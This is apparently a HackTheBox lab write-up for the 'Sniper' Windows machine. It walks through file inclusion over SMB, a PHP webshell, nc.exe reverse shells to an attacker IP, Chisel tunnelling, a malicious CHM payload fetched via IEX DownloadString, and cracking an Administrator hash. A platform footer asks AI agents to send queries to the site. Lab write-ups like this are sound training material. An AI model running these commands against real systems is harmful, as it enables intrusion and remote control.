> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md). # Sniper HackTheBox Writeup Sniper HackTheBox Medium Windows machine writeup covering Local File Inclusion (LFI), Remote File Inclusion (RFI) (Failed), Remote File Inclusion through SMB Server (net usershare technique) (Success) {% embed url="" %} {% hint style="warning" %} Skills: * Local File Inclusion (LFI) * Remote File Inclusion (RFI) (Failed) * Remote File Inclusion through SMB Server (net usershare technique) (Success) * Creating a webshell and achieving remote command execution (RCE) * Information Leakage (User Pivoting) * Playing with Chisel and ScriptBlocks using Invoke-Command * Creating a malicious CHM file (Out-CHM.ps1) (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard. (80,135,139,445,496,67)

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted ```

### Port 80:

**Analysis with `whatweb`:** We used `whatweb` to identify the technologies used by the web server: {% code overflow="wrap" fullWidth="false" %} ```bash whatweb 10.10.10.151 http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1] ``` {% endcode %} ## **Vulnerability LFI :** On the language change page, there was a `lang` parameter for loading different PHP files according to the language chosen.

We tested with a local system file: ```url http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts ``` * This allowed us to display the contents of the `hosts` file.

**Sensitive File Read Attempts with `php://filter`:** We tried to use the LFI to read the `index.php` file of the Microsoft IIS web server located in `/inetpub/wwwroot/index.php`, but the operation via `php://filter` did not work.

```url php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php ```

### Remote File Inclusion (RFI) (Failed) #### RFI test via remote web server: We tried to load a remote file via the `?lang=http://10.10.14.3/index.html` URL by pointing to our local web server with Python3. ```bash python3 -m http.server 80 ``` ```url ?lang=http://10.10.14.3/index.html ``` But it didn't work.

## Remote File Inclusion (SMB Server) **Create SMB server:** We created a local SMB server using `smbserver.py` and shared the current directory: ```bash smbserver.py share $(pwd) -smb2support ``` Then we tried to load a file from the SMB server by changing the `lang` parameter ```bash ?lang=/10.10.14.3/share/index.html ``` * This time, the server correctly interpreted our `index.html` file, displaying its content ("Hello World").

**Create a PHP webshell file (`cmd.php)`** We created a `cmd.php` file on our SMB server to execute remote commands via the `cmd` parameter: ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` /*/* Order execution via SMB/*/* ```bash //10.10.14.3/share/cmd.php&cmd= ``` Using the following URL, we executed the `whoami` command: ```bash //10.10.14.3/share/cmd.php&cmd=whoami ```

### Reverse Shell (nc.exe) **Download `nc.exe` for shell reverse:**/ We recovered the `nc.exe` binary from the running tools in `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` and copied it to the working directory. ```bash locate nc.exe cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` **Listen to port 443:**/ We set up a lister with `nc` to listen on port 443: ```bash rlwrap nc -nvlp 443 ``` **Execution of the reverse shell via SMB:**/ We then launched a shell reverse by pointing the `cmd` parameter to our file ``` ?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443 ``` So we got a shell reverse to our machine.

## Privilege Escalation **Search for sensitive files:**/ We searched for sensitive information in PHP files and found the `db.php` file containing database credentials: * User: `dbuser` * Password: `36mEAhz/B8xQ~2VM`

**Validation of credentials for another user:**

We discovered another user named **Chris** in addition to the user **Administrator**. We used **CrackMapExec** to validate if `Chris` credentials were valid: ```bash crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * The connection was successful.

**Verify the privileges of user "Chris":** * We observed that the user `Chris` belonged to the **Remote Management User** group, allowing him to connect remotely.

/*/* Analysis of open ports\:/*/* The port required for the remote connection (port 5985, used by WinRM) was not open externally, but internal. We used `netstat` to check listening ports on the target machine: ```bash netstat -an | findstr "LISTEN" ```

## Port Forwarding (5985 WinRm) ### 1. PowerShell We launched PowerShell on our attack machine: ```bash powershell ``` We recovered the name of the Windows environment with the command `hostname`, and found that the host name was `Sniper`. ```powershell hostname ``` Then we created a variable for the user `Chris` and another for the password using `ConvertTo-SecureString`: ```powershell $user = "Sniper/Chris" ``` ```powershell $password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force ``` Then we created a `PSCredential` object to be able to execute remote commands on the target machine: ```bash $cred = New-Object System.Management.Automation.PSCredential($user, $password) ``` **Execution of remote controls:**/ We used the following command to run `whoami` remotely and validate access: ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami} ``` * This allowed us to confirm that we were well connected as **Chris**.

**Reverse shell :**/ To obtain full access to the system, we put in place a lister at port 4444: ```bash rlwrap nc -nlvp 4444 ``` Then we ran a shell reverse using `nc.exe` from our SMB server: {% code overflow="wrap" %} ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444 ``` {% endcode %}

### 2. Chisel {% embed url="" %} **Download and prepare files:**/ We downloaded the compressed **Chisel** files, namely: * `chisel-linux` * `chisel-windows.exe` {% embed url="" %} {% embed url="" %} After extracting them, we transferred the **Chisel** file for Windows to the target machine: ```bash copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe ```

**Tapping on the attacking machine with Chisel:**/ We launched **Chisel** in server mode on the attacking machine on port 8888: ```bash ./chisel-linux server -p 8888 -reverse ``` Then, on the target Windows machine, we executed **Chisel** in client mode to connect to our attacking machine and redirect port 5985 to our machine: ```bash chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985 ```

**Redirected port verification with `lsof`:**/ We checked that port 5985 was well tuned after redirection with the command:

**Login with WinRM:**/ We used **CrackMapExec** to test the connection via **WinRM** on port 5985 redirected: ```bash crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * We got the symbol **pwned**, confirming that we had managed to access the machine via WinRM.

**Final connection with Evil-WinRM:**/ Finally, we used **Evil-WinRM** to obtain a remote shell as **Chris**: ```bash evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` ### Flag user.txt :)

**Exploration of the directory "docs":**/ In the root of **Windows**, we found a folder **docs** containing a `note.txt` file with the following message:

> Hi Chris, > > Your PHP skills are really bad. Contact Yamitenshi to teach you how to use it, then fix the site because there are a lot of bugs on it. I also hope you prepared the documentation for our new application. Put her down here when you're done. > > Cordialement,/ Sniper CEO. **Search for documentation in the system:**/ We looked for the documentation mentioned by the CEO and found it in the **Downloads** directory under the **instructions.chm** file.

### **Malicious CHM File Creation:** After finding out that the CEO was looking to view **CHM** files in the **docs** directory, we looked on the Internet for how to create malicious CHM files. {% embed url="" %} **Download HTML Help Tool:**/ We downloaded **HTML Help** and used a PowerShell script to create a malicious CHM file * [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe) ```bash IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1') ``` Then we modified the script to execute a remote malicious command via **nc.exe**: ```bash Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop" ```

**Injection of malicious CHM file into target directory:**/ We have configured an SMB server on our attack machine to transfer the malicious file to the target Windows machine: ```bash smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234 ``` /*/* Connect to SMB sharing from the victim machine:/*/*/ From the target Windows machine, we mounted SMB sharing and copied the malicious `doc.chm` file: ```powershell net use x: //192.168.0.190/smbFolder /user:jordan jordan1234 copy ./doc.chm x:/doc.chm ``` **Tapping for reverse shell:**/ We launched a lister on our attacking machine, waiting for a reverse shell connection: ```bash rlwrap nc -nlvp 443 ```

/*/* Problem encountered:/*/*/ Although the CHM file was viewed, we did not receive a reverse shell. However, we managed to capture a **SMB Relay V2** on our server. This provided us with a hash of authentication for user `Administrator`

#### **Crack the Administrator Hash:** ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `Administrator:butterfly!#1`

#### **Login as administrator:** With the credentials obtained, we used **Evil-WinRM** to connect to the machine as administrator: ```bash evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1' ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.